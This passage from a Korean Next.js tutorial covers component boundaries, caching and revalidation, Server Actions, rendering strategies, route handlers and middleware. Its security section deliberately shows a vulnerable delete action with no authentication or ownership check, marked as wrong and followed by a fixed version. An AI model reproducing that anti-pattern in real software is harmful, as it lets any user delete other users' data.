Date · Map · Set · BigInt | Error 객체 · DOM 노드 |
JSX (children 으로) | Prisma 모델의 메서드가 붙은 객체 |
Promise (use() 로 받음) | 클로저를 품은 것 전부 |
// ❌ 함수를 넘김 — "Functions cannot be passed to Client Components"
<Chart formatter={(v) => v.toFixed(2)} />
// ✅ 이름표만 넘기고 함수는 클라이언트 쪽에 두기
<Chart format="fixed2" />
// ❌ Decimal · ObjectId 같은 특수 타입이 섞인 DB 결과를 통째로
const rows = await db.product.findMany();
<Table rows={rows} /> // Decimal 이 있으면 터집니다
// ✅ 필요한 필드만 평범한 값으로 정리해서
<Table rows={rows.map(r => ({ id: r.id, price: Number(r.price) }))} />
passwordHash·email 까지
페이지 소스에 박힙니다. 넘기기 전에 골라내세요.
경계를 잎사귀로 미는 두 가지 기법
// ① 상호작용하는 조각만 클라이언트로
// ❌ 페이지 전체를 클라이언트로 (탭 하나 때문에)
"use client";
export default function Page() { ... 500줄 ... }
// ✅ 탭 컴포넌트만 클라이언트, 내용은 서버가 그림
// page.tsx (서버)
<Tabs> {/* "use client" */}
<ServerHeavyPanel /> {/* 서버 컴포넌트가 children 으로 */}
</Tabs>
// ② children 슬롯 — 클라이언트 안에 서버 컴포넌트를 끼우는 유일한 길
"use client";
export function Tabs({ children }: { children: React.ReactNode }) {
const [open, setOpen] = useState(true);
return open ? <div>{children}</div> : null;
}
// children 은 '이미 서버에서 그려진 결과'로 들어옵니다.
// Tabs 는 그것을 어디에 놓을지만 정합니다 — 코드를 보지 않으므로 번들에 안 들어갑니다.
실무에선 이렇게 — 자주 하는 실수 여덟 가지 🔴 실무
| 증상 · 에러 메시지 | 원인과 처방 |
|---|---|
| "You're importing a component that needs useState" | 서버 컴포넌트에서 훅을 씀. 그 파일 맨 위에 "use client" 를 붙이거나,
훅이 필요한 부분만 따로 파일로 빼세요 |
| "Functions cannot be passed to Client Components" | props 로 함수를 넘김. 문자열 키로 바꾸거나, Server Action 이면 예외적으로 가능(f05) |
| "window is not defined" | 서버에서 브라우저 API 를 씀. "use client" + useEffect 안으로 옮기거나
dynamic(..., { ssr: false }) |
| 번들이 이상하게 큼 | "use client" 가 트리 위쪽에 붙어 있음.
@next/bundle-analyzer 로 확인(f11) |
| API 키가 브라우저에 노출됨 | 클라이언트 컴포넌트에서 process.env.X 를 씀.
NEXT_PUBLIC_ 이 없는 변수는 클라이언트에서 undefined 이고,
props 로 넘기면 진짜로 노출됩니다(f12) |
| "Hydration failed" | 서버가 그린 HTML 과 브라우저 첫 렌더가 다름 —
Date.now()·Math.random()·localStorage 를 렌더 중에 씀 |
| 클라이언트 컴포넌트가 서버에서도 실행됨 | 정상입니다. "use client" 는 "브라우저에서만"이 아니라
"브라우저에도"입니다. 첫 HTML 은 서버에서 한 번 그려집니다 |
| context 가 undefined | Provider 가 서버 컴포넌트. Provider 파일에 "use client" 를 붙이고
layout.tsx 에서 children 을 감싸세요 |
"use client" 컴포넌트도
첫 요청 때는 서버에서 한 번 실행되어 HTML 이 됩니다(SSR).
그래서 "클라이언트 컴포넌트니까 window 를 써도 되겠지"가 틀립니다.
브라우저에서만 도는 코드는 useEffect 안이 유일하게 안전한 자리입니다.
Provider 를 다루는 정석
// app/providers.tsx
"use client";
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
import { ThemeProvider } from "next-themes";
import { useState } from "react";
export function Providers({ children }: { children: React.ReactNode }) {
const [qc] = useState(() => new QueryClient()); // ★ 요청마다 새 인스턴스
return (
<QueryClientProvider client={qc}>
<ThemeProvider attribute="class">{children}</ThemeProvider>
</QueryClientProvider>
);
}
// app/layout.tsx (서버 컴포넌트 그대로!)
import { Providers } from "./providers";
<body><Providers>{children}</Providers></body>
new QueryClient() 를 모듈 최상단에 두지 마세요.
서버에서는 모든 사용자가 그 인스턴스를 공유하게 되어
남의 데이터가 보입니다. 서버에서 도는 코드의 전역 변수는
전부 이 위험을 갖습니다 — 요청마다 새로 만드세요.
서버 전용 코드를 못 새게 잠그기
// lib/db.ts 맨 위에 한 줄
import "server-only";
// 이 파일이 클라이언트 번들에 섞이면 '빌드가 실패'합니다 ★
// 반대도 있습니다 — 브라우저 전용 유틸
import "client-only";
npm i server-only
// 클라이언트 안에서 브라우저 전용 라이브러리를 늦게 불러오기
import dynamic from "next/dynamic";
const MapView = dynamic(() => import("./map-view"), {
ssr: false, // ★ 서버에서 렌더하지 않음
loading: () => <div className="h-80 animate-pulse" />,
});
// 주의: ssr:false 는 "use client" 파일 안에서만 쓸 수 있습니다
server-only 는 실수 방지 장치입니다.
"DB 유틸을 클라이언트 컴포넌트에서 임포트해서 커넥션 문자열이 번들에 박히는" 사고를
빌드 시점에 막습니다. lib/db.ts·lib/auth.ts 에는 무조건 넣으세요.
"use client" 를 붙입니다.
그 한 줄은 파일 하나가 아니라 그 아래 임포트 전부를 브라우저로 보냅니다.
경계를 잎사귀 쪽으로 밀고, 클라이언트 안에 서버 컴포넌트를 넣고 싶으면
임포트 대신 children 으로 넘기세요.
server-only 한 줄이면 비밀이 새는 사고를 빌드에서 막습니다.데이터 가져오기와 캐싱 — Next 15 에서 기본값이 뒤집혔습니다
서버 컴포넌트에서는 await fetch() 가 전부입니다. 어려운 건 가져오기가 아니라
언제까지 그 결과를 재사용할 것인가입니다. Next 14 까지는 자동으로 캐시했고,
Next 15 부터는 기본이 캐시 안 함으로 바뀌었습니다 — 인터넷 예제의 절반이 옛 기준입니다.
기본 — 서버 컴포넌트에서 그냥 await
// app/posts/page.tsx
export default async function Posts() {
// Next 15 기본값 = 데이터 캐시 안 함. 단, 이 라우트에 cookies() 같은 동적 함수가 없으면
// 빌드 때 한 번 가져와 정적 HTML 로 굳습니다 ★ 매 요청 새로 받으려면 no-store · connection()
const res = await fetch("https://api.example.com/posts");
if (!res.ok) throw new Error("목록을 가져오지 못했습니다");
const posts: Post[] = await res.json();
return <List posts={posts} />;
}
// 여러 개를 동시에 — 순서대로 await 하면 시간이 더해집니다
export default async function Dashboard() {
const [user, orders, notices] = await Promise.all([
getUser(), getOrders(), getNotices(),
]);
// ❌ const user = await getUser(); 2초
// const orders = await getOrders(); +2초 = 4초 (워터폴)
// ✅ Promise.all 2초
}
await 를 줄줄이 쓰면 지연이 더해집니다.
서로 의존하지 않는 요청은 Promise.all 로 묶고,
정말 순서가 필요하면 느린 쪽을 Suspense 로 감싸 스트리밍하세요(f06).
캐시를 켜는 세 가지 손잡이
// ① 한 번 캐시하고 계속 씀 (빌드 결과처럼)
await fetch(url, { cache: "force-cache" });
// ② N초 동안 캐시 — ISR 의 실체입니다 ★ 가장 많이 씁니다
await fetch(url, { next: { revalidate: 60 } });
// ③ 태그를 붙여 두고 나중에 이름으로 지우기 ★ 실무 핵심
await fetch(url, { next: { tags: ["posts", `post:${id}`] } });
// 캐시하지 않음 — 기본값과 달리 이 라우트를 '동적'(매 요청 렌더)으로 만듭니다
await fetch(url, { cache: "no-store" });
// 파일 전체의 기본값을 정하는 세그먼트 옵션 (page.tsx · layout.tsx 최상단)
export const revalidate = 3600; // 이 라우트는 1시간마다
export const dynamic = "force-static"; // 무조건 정적으로
export const dynamic = "force-dynamic";// 무조건 요청마다
revalidate, 안 된다면 no-store.
"바뀌는 순간 바로 반영돼야 한다"면 캐시를 끄는 게 아니라
태그를 붙이고 바뀔 때 지우는 것이 정답입니다 — 아래에서 다룹니다.
태그 기반 무효화 — 캐시를 켜고도 최신을 유지하는 법 🟡 중급
붙이고 · 지우고
// 읽는 쪽 — 태그를 붙여 캐시
// app/posts/page.tsx
const res = await fetch(`${API}/posts`, {
next: { revalidate: 3600, tags: ["posts"] },
});
// app/posts/[id]/page.tsx
const res = await fetch(`${API}/posts/${id}`, {
next: { revalidate: 3600, tags: ["posts", `post:${id}`] },
});
// 쓰는 쪽 — Server Action 이나 route handler 에서
"use server";
import { revalidateTag, revalidatePath } from "next/cache";
export async function updatePost(id: number, data: PostInput) {
await db.post.update({ where: { id }, data });
revalidateTag(`post:${id}`); // 이 글 상세만
revalidateTag("posts"); // 목록도
// 경로로 지울 수도 있습니다
revalidatePath("/posts"); // 그 페이지
revalidatePath("/posts/[id]", "page"); // 동적 라우트 전부
revalidatePath("/", "layout"); // 그 레이아웃 아래 전부
// Next 16: 인자 하나짜리 revalidateTag 는 deprecated — revalidateTag("posts", "max"),
// 액션 안에서 '쓴 직후 바로 읽기'가 필요하면 updateTag("posts")
}
fetch 가 아닌 것 — DB 쿼리 캐시하기
// fetch 는 Next 가 감싸 두었지만, Prisma/Drizzle 쿼리는 아닙니다.
// Next 15 — unstable_cache 로 감쌉니다
import { unstable_cache } from "next/cache";
export const getPopularPosts = unstable_cache(
async (limit: number) => db.post.findMany({ take: limit, orderBy: { views: "desc" } }),
["popular-posts"], // ★ 캐시 키의 접두사
{ revalidate: 300, tags: ["posts"] },
);
// 인자는 자동으로 키에 포함됩니다 — getPopularPosts(10) 과 (20) 은 별개
// Next 16 (Cache Components) — 디렉티브로 더 간단해집니다
import { cacheLife, cacheTag } from "next/cache"; // next.config 에 cacheComponents: true
export async function getPopularPosts(limit: number) {
"use cache";
cacheLife("minutes"); // 수명 프리셋
cacheTag("posts"); // 무효화 태그
return db.post.findMany({ take: limit, orderBy: { views: "desc" } });
}
cookies()·headers() 를 쓰면 안 됩니다.
캐시는 모든 사용자가 공유하는 값이라, 사용자별 정보가 섞이면
남의 데이터가 남에게 보이는 사고가 납니다.
사용자별 데이터는 캐시하지 말거나, 사용자 id 를 인자로 받아 키에 포함시키세요.
한 단계 더 — 요청 메모이제이션과 cache() 🔴 실무
props 로 안 내려도 되는 이유
// layout · page · 여러 컴포넌트가 각자 같은 데이터를 부릅니다
// layout.tsx
const user = await fetch(`${API}/me`, { headers }); // ①
// page.tsx
const user = await fetch(`${API}/me`, { headers }); // ②
// Sidebar.tsx
const user = await fetch(`${API}/me`, { headers }); // ③
// ★ 실제 네트워크 요청은 '한 번'입니다.
// 같은 렌더 안에서 URL + 옵션이 같으면 리액트가 합쳐 줍니다(요청 메모이제이션).
// props 로 줄줄이 내려보내는 배선(prop drilling)이 필요 없어집니다.
// fetch 가 아닌 함수도 같은 효과를 내려면 React 의 cache() 로 감쌉니다
import { cache } from "react";
import "server-only";
export const getUser = cache(async (id: string) => {
return db.user.findUnique({ where: { id } });
});
// 한 번의 렌더 동안 getUser("u1") 을 몇 번 불러도 쿼리는 한 번
// ★ 렌더가 끝나면 사라집니다 — 요청 간 공유는 안 됩니다(그건 unstable_cache)
셋을 헷갈리지 않기
| 도구 | 사는 기간 | 쓰는 곳 |
|---|---|---|
cache()(react) | 렌더 한 번 | 같은 렌더 안 중복 DB 쿼리 제거 |
unstable_cache()"use cache" | 요청·배포를 넘어 | 모두에게 같은 무거운 조회 |
fetch(next:{}) | 요청·배포를 넘어 | 외부 API 응답 |
revalidate 세그먼트 | 라우트 단위 N초 | 페이지 전체를 ISR 로 |
# 캐시가 실제로 어떻게 동작하는지 로그로 보기
# next.config.ts
# export default { logging: { fetches: { fullUrl: true } } }
npm run dev
# GET /posts 200 in 812ms
# │ GET https://api.../posts 200 in 803ms (cache skip)
# │ │ Cache missed reason: (cache: no-store) ← 이유까지 알려 줍니다
# │ GET https://api.../tags 200 in 2ms (cache hit)
cache skip 과 Cache missed reason 을 보면
"왜 매번 API 를 때리는지"가 바로 나옵니다 —
대개 부모 라우트가 동적이거나 헤더를 읽었기 때문입니다(f06).
Next 14 → 15 로 옮길 때 확인할 것
| 항목 | Next 14 → 15 |
|---|---|
fetch() 기본 캐시 | 캐시함 → 안 함 |
route.ts 의 GET | 캐시함 → 안 함 |
| 클라이언트 라우터 캐시(page) | 30초 → 0초 |
params·searchParams | 객체 → Promise |
cookies()·headers() | 동기 → 비동기 |
| React 버전 | 18 → 19 |
npx @next/codemod@canary upgrade latest 가 문법은 고쳐 주지만
캐시 정책은 사람이 정해야 합니다.
실전 — 페이지별 캐시 정책 예시
| 화면 | 정책 |
|---|---|
| 회사 소개 · 약관 | 아무것도 안 씀 → 정적 |
| 블로그 글 상세 | revalidate: 3600 + tags:["post:1"] |
| 상품 목록 | revalidate: 60 + 저장 시 revalidateTag |
| 재고 수량 | no-store 또는 클라이언트에서 폴링 |
| 내 주문 목록 | cookies() 사용 → 자동으로 동적 |
| 관리자 대시보드 | dynamic = "force-dynamic" |
// 흔한 실수 — 목록 페이지에서 한 줄 때문에 전체가 동적이 됨
import { cookies } from "next/headers";
const theme = (await cookies()).get("theme"); // ★ 이 한 줄로 SSG 포기
// ✅ 테마는 클라이언트 컴포넌트에서 읽으세요(f10)
await fetch 로 끝입니다.
Next 15 부터 기본은 캐시 안 함이므로, 캐시가 필요하면
next: { revalidate, tags } 를 직접 적습니다.
실무 표준은 길게 캐시하고 바뀔 때 revalidateTag 로 지우기이고,
DB 쿼리는 unstable_cache(16 은 "use cache")로 감쌉니다.
한 렌더 안의 중복은 이미 자동으로 합쳐지니 props 배선을 하지 마세요.Server Actions — API 라우트 없이 서버 함수를 부르기
리액트 탭에서 저장 버튼을 만들려면 API 라우트 · fetch · 로딩 상태 · 에러 상태가 필요했습니다.
Server Action 은 서버 함수를 그대로 <form action=> 에 넘겨 그 전부를 없앱니다.
대신 "이 함수는 인터넷에 공개된 엔드포인트" 라는 사실을 잊으면 그대로 보안 사고가 됩니다.
가장 단순한 형태
// app/posts/actions.ts
"use server"; // ★ 파일 전체가 서버 액션이 됩니다
import { revalidatePath } from "next/cache";
import { redirect } from "next/navigation";
import { db } from "@/lib/db";
export async function createPost(formData: FormData) {
const title = String(formData.get("title") ?? "");
const body = String(formData.get("body") ?? "");
const post = await db.post.create({ data: { title, body } });
revalidatePath("/posts"); // 목록 캐시 비우기
redirect(`/posts/${post.id}`); // ★ try 블록 밖에서!
}
// app/posts/new/page.tsx (서버 컴포넌트 그대로)
import { createPost } from "../actions";
export default function NewPost() {
return (
<form action={createPost}> {/* ★ 함수를 그대로 넘깁니다 */}
<input name="title" required />
<textarea name="body" />
<button>저장</button>
</form>
);
}
// JS 를 꺼도 동작합니다 — 진짜 form POST 이기 때문입니다
검증과 에러 되돌려 주기 — useActionState
// actions.ts
"use server";
import { z } from "zod";
const Schema = z.object({
title: z.string().min(2, "제목은 2자 이상"),
body: z.string().min(10, "본문이 너무 짧습니다"),
});
export type State = { errors?: Record<string, string[]>; message?: string };
export async function createPost(prev: State, formData: FormData): Promise<State> {
const parsed = Schema.safeParse(Object.fromEntries(formData));
if (!parsed.success)
return { errors: parsed.error.flatten().fieldErrors };
try {
await db.post.create({ data: parsed.data });
} catch {
return { message: "저장에 실패했습니다. 잠시 후 다시 시도해 주세요." };
}
revalidatePath("/posts");
redirect("/posts"); // ★ try 밖
}
redirect() 와 notFound() 는 내부적으로 예외를 던집니다.
try … catch 블록 안에서 부르면 catch 가 삼켜 버려
이동이 일어나지 않고 message 만 돌아옵니다.
"저장은 됐는데 페이지가 안 넘어간다"의 원인 1위입니다.
폼 쪽 — 대기 상태와 에러 표시
// app/posts/new/form.tsx
"use client";
import { useActionState } from "react";
import { useFormStatus } from "react-dom";
import { createPost, type State } from "../actions";
const initial: State = {};
function SubmitButton() {
const { pending } = useFormStatus(); // ★ 반드시 form '안쪽' 컴포넌트에서
return <button disabled={pending}>{pending ? "저장 중…" : "저장"}</button>;
}
export function PostForm() {
const [state, action, isPending] = useActionState(createPost, initial);
return (
<form action={action}>
<input name="title" aria-invalid={!!state.errors?.title} />
{state.errors?.title?.map((m) => (
<p key={m} role="alert" className="text-red-500">{m}</p>
))}
<textarea name="body" />
{state.message && <p role="alert">{state.message}</p>}
<SubmitButton />
</form>
);
}
useFormStatus 는 자기 자신을 감싼 form 을 봅니다.
같은 컴포넌트 안에서 <form> 을 렌더하면서 부르면
항상 false 가 나옵니다 — 반드시 자식 컴포넌트로 분리하세요.
useActionState 의 세 번째 반환값으로도 같은 값을 얻을 수 있습니다.
낙관적 업데이트 — useOptimistic
"use client";
import { useOptimistic } from "react";
import { addTodo } from "./actions";
export function TodoList({ todos }: { todos: Todo[] }) {
const [shown, addOptimistic] = useOptimistic(
todos,
(state, newText: string) => [
...state,
{ id: Math.random(), text: newText, pending: true },
],
);
async function action(formData: FormData) {
const text = String(formData.get("text"));
addOptimistic(text); // ① 화면 먼저 (즉시)
await addTodo(text); // ② 서버 저장
// 실패하면? → 액션이 끝나면 서버 상태로 '자동 롤백' 됩니다 ★
}
return (
<>
<ul>{shown.map((t) => (
<li key={t.id} className={t.pending ? "opacity-50" : ""}>{t.text}</li>
))}</ul>
<form action={action}><input name="text" /><button>추가</button></form>
</>
);
}
보안 — 액션은 공개된 엔드포인트입니다 🔴 실무
가장 흔한 사고와 그 처방
"use server";
import { auth } from "@/auth";
import { revalidateTag } from "next/cache";
// ❌ 위험 — 화면에서 버튼을 숨겼으니 안전하다고 생각하는 코드
export async function deletePost(id: number) {
await db.post.delete({ where: { id } });
}
// 공격자는 브라우저 개발자도구로 그 액션 id 를 그대로 POST 할 수 있습니다.
// '관리자에게만 버튼을 보여 주는 것'은 보안이 아닙니다.
// ✅ 액션 안에서 매번 다시 검사합니다
export async function deletePost(id: number) {
const session = await auth(); // ① 인증
if (!session?.user) throw new Error("로그인이 필요합니다");
const post = await db.post.findUnique({ where: { id } });
if (!post) throw new Error("없는 글입니다");
const mine = post.authorId === session.user.id; // ② 소유권
const admin = session.user.role === "admin"; // ③ 권한
if (!mine && !admin) throw new Error("권한이 없습니다");
await db.post.delete({ where: { id } });
revalidateTag("posts");
}
체크리스트
| 항목 | 왜 |
|---|---|
| 인증 · 권한을 액션 안에서 | UI 로 숨기는 것은 방어가 아닙니다 |
| 입력을 zod 로 검증 | FormData 는 무엇이든 들어옵니다 |
| id 를 신뢰하지 않기 | 숨은 input 의 userId 는 조작됩니다. 세션에서 가져오세요 |
| 반환값에 비밀 넣지 않기 | 반환값은 브라우저로 갑니다 |
"use server" 파일에 공개 API 만 | export 한 함수는 전부 엔드포인트가 됩니다 |
| 변경 작업만 액션으로 | 단순 조회는 서버 컴포넌트에서 await |
// 인자를 미리 묶는 관용구 — id 를 숨은 input 으로 노출하지 않기
<form action={deletePost.bind(null, post.id)}>
<button>삭제</button>
</form>
// 액션은 form 밖에서도 부를 수 있습니다 (버튼 클릭 · useTransition)
"use client";
const [pending, startTransition] = useTransition();
<button onClick={() => startTransition(() => toggleLike(id))}>♥</button>
POST 로만 호출되고 Origin 과 Host 를 대조합니다.
하지만 인증·권한 검사는 대신해 주지 않습니다.
"로그인한 사람이면 누구나 남의 글을 지울 수 있는" 버그가
Server Action 도입 초기에 가장 많이 나왔습니다.
"use server" 함수를 <form action=> 에 그대로 넘기면
API 라우트 없이 저장이 됩니다. 검증은 zod + useActionState 로 에러를 되돌려 주고,
대기 상태는 useFormStatus, 즉각 반응은 useOptimistic 으로 만듭니다.
저장 뒤에는 revalidateTag/revalidatePath 로 캐시를 지워야 화면이 바뀌고,
권한 검사는 반드시 액션 안에서 — 액션은 인터넷에 열린 엔드포인트입니다.렌더링 전략 실전 — 정적 · ISR · 스트리밍 · PPR
f01 에서 이름만 봤던 전략들을 이제 코드로 고릅니다. 핵심은 하나입니다 —
내가 쓴 코드가 전략을 결정합니다. cookies() 한 줄이 정적 페이지를 동적으로 만들고,
Suspense 하나가 4초짜리 화면을 0.3초에 보이게 만듭니다.
Suspense 로 떼어 내는 것만으로 해결됩니다.정적 생성 — generateStaticParams
// app/posts/[slug]/page.tsx
export const revalidate = 3600; // ISR — 1시간마다 갱신
export async function generateStaticParams() {
const posts = await db.post.findMany({ select: { slug: true } });
return posts.map((p) => ({ slug: p.slug })); // 빌드 때 미리 만들 목록
}
// 목록에 없는 주소로 들어오면?
export const dynamicParams = true; // 기본값 — 그때 만들어서 캐시 (ISR)
// export const dynamicParams = false; // 404 로 처리
export default async function Post({ params }: {
params: Promise<{ slug: string }>;
}) {
const { slug } = await params;
const post = await db.post.findUnique({ where: { slug } });
if (!post) notFound();
return <Article post={post} />;
}
generateStaticParams 로 만들고
나머지는 dynamicParams: true 로 처음 요청받을 때 만들어 캐시하세요.
빌드 시간은 짧고, 자주 보는 글은 이미 준비되어 있습니다.
동적 함수 — 이 한 줄이 전략을 바꿉니다
import { cookies, headers } from "next/headers";
import { connection } from "next/server";
// 아래 중 하나라도 쓰면 그 라우트는 '동적'이 됩니다 (요청마다 렌더)
await cookies(); // 쿠키 읽기
await headers(); // 헤더 읽기
await searchParams; // 쿼리스트링 읽기
await connection(); // "요청을 기다린다"는 명시 (Next 15+)
export const dynamic = "force-dynamic";
| 이 코드를 쓰면 | 결과 |
|---|---|
| 아무것도 안 씀 | 정적 — 빌드 때 한 번 |
revalidate = N | ISR — N초마다 갱신 |
cookies()·headers() | 동적 — 요청마다 |
fetch(cache:"no-store") | 동적 |
Suspense 로 감싸 격리 | 바깥은 정적, 안쪽만 동적 |
cookies() 를 한 번 쓰면
그 아래 모든 페이지가 동적이 됩니다.
"왜 전부 SSR 이 됐지?" 싶으면 레이아웃부터 확인하세요.
해결책은 그 부분을 Suspense 안으로 밀어 넣는 것입니다.
스트리밍 — loading.tsx 와 Suspense 🟡 중급
두 가지 방법
// ① 라우트 통째로 — app/dashboard/loading.tsx 파일만 만들면 끝
export default function Loading() {
return <div className="animate-pulse h-64 rounded bg-neutral-800" />;
}
// Next 가 자동으로 <Suspense fallback={<Loading />}> 로 page 를 감쌉니다
// ② 조각별로 — 이쪽이 훨씬 좋습니다
import { Suspense } from "react";
export default function Page() {
return (
<main>
<h1>대시보드</h1> {/* 즉시 보임 */}
<Suspense fallback={<CardSkeleton />}>
<Revenue /> {/* 200ms */}
</Suspense>
<Suspense fallback={<TableSkeleton />}>
<SlowReport /> {/* 3초 — 나머지를 막지 않습니다 */}
</Suspense>
</main>
);
}
// 각 컴포넌트는 그냥 async 서버 컴포넌트입니다
async function SlowReport() {
const rows = await heavyQuery(); // 여기서 기다려도 위쪽은 이미 나갔습니다
return <Table rows={rows} />;
}
PPR · Cache Components — 정적과 동적을 한 페이지에
// next.config.ts — Next 15 (실험적)
export default {
experimental: { ppr: "incremental" },
};
// 그 라우트에서 켭니다
export const experimental_ppr = true;
export default function ProductPage() {
return (
<>
<ProductInfo /> {/* 모두 같음 → 정적 껍데기 */}
<Suspense fallback={<StockSkeleton />}>
<Stock /> {/* cookies() 사용 → 구멍 */}
</Suspense>
</>
);
}
// 결과: 첫 바이트는 CDN 이 즉시(정적), 개인화 부분만 스트리밍으로 채워집니다
cacheComponents: true + "use cache")라는
더 명시적인 모델로 정리되고 있습니다.
아이디어는 같습니다 — "기본은 동적, 캐시할 것만 표시".
지금 실무에 넣을 때는 버전 고정과 충분한 테스트를 전제로 하세요.
실무에선 이렇게 — 빌드 출력표 읽기 🔴 실무
$ npm run build
Route (app) Size First Load JS
┌ ○ / 1.2 kB 98 kB
├ ○ /about 142 B 89 kB
├ ● /posts/[slug] 2.1 kB 101 kB
├ ├ /posts/hello-next
├ ├ /posts/rsc-basics
├ └ [+498 more paths]
├ ƒ /dashboard 3.4 kB 126 kB
├ ◐ /products/[id] 2.8 kB 112 kB
└ ƒ /api/health 0 B 0 B
○ (Static) 빌드 때 만들어 둠 — 가장 빠릅니다
● (SSG) generateStaticParams 로 만든 경로들
◐ (PPR) 정적 껍데기 + 스트리밍 구멍
ƒ (Dynamic) 요청마다 서버에서 렌더
★ 읽는 법
· 정적이어야 할 페이지에 ƒ 가 붙어 있으면 → 어딘가에서 cookies/headers 를 씁니다
· First Load JS 가 200kB 를 넘으면 → 클라이언트 경계를 확인하세요 (f03·f11)
· [+498 more paths] 가 수만 개면 → 빌드가 30분 걸립니다. 목록을 줄이세요
next build --debug 또는 개발 서버에서 그 페이지를 열고
터미널의 Cache missed reason 을 보세요(f04).
대부분 레이아웃에서 세션을 읽고 있습니다.
revalidate 를 쓰면 ISR,
cookies()·headers() 를 쓰면 동적입니다.
느린 조각은 Suspense 로 감싸 격리하면 나머지가 먼저 나가고,
generateStaticParams 로 자주 보는 것만 미리 만듭니다.
확인은 언제나 npm run build 출력표의 기호로 합니다.라우트 핸들러 · 미들웨어
화면이 아니라 JSON · 파일 · 웹훅이 필요할 때는 route.ts 를 쓰고,
모든 요청 앞에서 한 번 걸러야 할 일은 middleware.ts 가 맡습니다.
둘 다 "값싼 판단만 한다"는 원칙을 어기면 서비스 전체가 느려집니다.
라우트 핸들러 — 웹 표준 Request/Response
// app/api/posts/route.ts
import { NextResponse } from "next/server";
import { z } from "zod";
export const dynamic = "force-dynamic"; // Next 15 부터 GET 도 기본 캐시 안 함
export async function GET(req: Request) {
const { searchParams } = new URL(req.url);
const page = Number(searchParams.get("page") ?? 1);
const posts = await db.post.findMany({ skip: (page - 1) * 20, take: 20 });
return NextResponse.json({ posts, page });
}
export async function POST(req: Request) {
const body = await req.json();
const parsed = CreateSchema.safeParse(body);
if (!parsed.success)
return NextResponse.json({ error: parsed.error.flatten() }, { status: 400 });
const created = await db.post.create({ data: parsed.data });
return NextResponse.json(created, { status: 201 });
}
// GET · POST · PUT · PATCH · DELETE · HEAD · OPTIONS 를 export 하면 됩니다
req·res 대신
표준 Request·Response 입니다.
req.body 가 아니라 await req.json(),
res.json(x) 가 아니라 반환합니다.
Cloudflare Workers·Deno·Bun 과 같은 모양이라 지식이 그대로 옮겨 갑니다.
route.ts 는 언제 필요한가
| 필요한 경우 | 필요 없는 경우 |
|---|---|
| 외부 서비스의 웹훅 수신 | 내 페이지에서 쓸 데이터 조회 → 서버 컴포넌트에서 await |
| 모바일 앱 등 다른 클라이언트에 열어 줄 API | 내 폼의 저장 → Server Action |
| 파일 다운로드 · 이미지 · RSS · sitemap | 단순 리다이렉트 → next.config 의 redirects |
| OAuth 콜백 · 결제 승인 콜백 | 내부 데이터 갱신 → Server Action |
// 스트리밍 응답 · 파일 내보내기
export async function GET() {
const csv = "id,title\n1,안녕\n";
return new Response(csv, {
headers: {
"Content-Type": "text/csv; charset=utf-8",
"Content-Disposition": 'attachment; filename="posts.csv"',
},
});
}
// 웹훅 — 원본 바디가 필요하면 text() 로 받아 서명을 검증합니다
export async function POST(req: Request) {
const raw = await req.text();
const sig = req.headers.get("stripe-signature")!;
const event = stripe.webhooks.constructEvent(raw, sig, env.WEBHOOK_SECRET);
// ★ req.json() 을 먼저 부르면 서명 검증이 깨집니다
}
인증 게이트 — 가장 흔한 용도
// src/middleware.ts (프로젝트 루트 또는 src/ 바로 아래)
import { NextResponse, type NextRequest } from "next/server";
const PROTECTED = ["/dashboard", "/settings", "/admin"];
export function middleware(req: NextRequest) {
const { pathname } = req.nextUrl;
const token = req.cookies.get("session")?.value;
if (PROTECTED.some((p) => pathname.startsWith(p)) && !token) {
const url = req.nextUrl.clone();
url.pathname = "/login";
url.searchParams.set("next", pathname); // 로그인 후 돌아올 곳
return NextResponse.redirect(url);
}
// 헤더를 덧붙여 아래로 흘려보내기
const res = NextResponse.next();
res.headers.set("x-request-id", crypto.randomUUID());
return res;
}
export const config = {
// ★ 정적 파일과 이미지는 제외 — 안 그러면 모든 요청에 비용이 붙습니다
matcher: ["/((?!_next/static|_next/image|favicon.ico|.*\\.(?:png|jpg|svg)$).*)"],
};
jwt.verify 를 돌리거나 DB 를 조회하지 마세요.
미들웨어는 모든 요청마다 실행됩니다 —
여기에 20ms 를 넣으면 사이트 전체가 20ms 느려집니다.
"쿠키가 있는가" 정도만 보고, 유효성은 페이지에서 검사하세요(f08).
CORS · 레이트 리밋
// app/api/[...path]/route.ts 또는 미들웨어에서
const ALLOWED = new Set(["https://app.example.com"]);
export async function OPTIONS(req: Request) {
const origin = req.headers.get("origin") ?? "";
if (!ALLOWED.has(origin)) return new Response(null, { status: 403 });
return new Response(null, {
status: 204,
headers: {
"Access-Control-Allow-Origin": origin,
"Access-Control-Allow-Methods": "GET,POST,OPTIONS",
"Access-Control-Allow-Headers": "content-type, authorization",
"Access-Control-Max-Age": "86400",
},
});
}
// 레이트 리밋 — 서버리스에서는 메모리 카운터가 소용없습니다
// (인스턴스마다 따로 세므로) → 외부 저장소가 필요합니다
import { Ratelimit } from "@upstash/ratelimit";
import { Redis } from "@upstash/redis";
const limiter = new Ratelimit({
redis: Redis.fromEnv(),
limiter: Ratelimit.slidingWindow(10, "60 s"),
});
export async function POST(req: Request) {
const ip = req.headers.get("x-forwarded-for")?.split(",")[0] ?? "unknown";
const { success, reset } = await limiter.limit(ip);
if (!success)
return NextResponse.json({ error: "너무 많은 요청" }, {
status: 429,
headers: { "Retry-After": String(Math.ceil((reset - Date.now()) / 1000)) },
});
// …
}
미들웨어에서 할 수 있는 것 · 없는 것
여기서 하세요
· 쿠키 유무로 리다이렉트
· 국가·언어로 rewrite
(/ko/... 로 보내기)
· A/B 테스트 버킷 배정
· 보안 헤더 추가
· 요청 ID 심기
· 봇 차단 (User-Agent)
· www → 도메인 정규화
여기서 하지 마세요
· DB 조회
· 토큰 서명 검증
(무겁고 Node API 필요)
· 세션 정보로 화면 분기
· 큰 라이브러리 임포트
(번들이 곧 지연입니다)
· 응답 본문 만들기
· 파일 시스템 접근
middleware.ts 는 proxy.ts 로 이름이 바뀌는 흐름입니다 —
"미들웨어"라는 이름 때문에 Express 미들웨어처럼 무거운 일을 넣는 오해가 많았기 때문입니다.
이름이 무엇이든 역할은 얇은 프록시라는 사실이 핵심입니다.
특수 파일 라우트 — sitemap · robots · OG
// app/sitemap.ts
import type { MetadataRoute } from "next";
export default async function sitemap(): Promise<MetadataRoute.Sitemap> {
const posts = await db.post.findMany({ select: { slug: true, updatedAt: true } });
return [
{ url: "https://example.com", lastModified: new Date(), priority: 1 },
...posts.map((p) => ({
url: `https://example.com/posts/${p.slug}`,
lastModified: p.updatedAt,
changeFrequency: "weekly" as const,
})),
];
}
// app/robots.ts
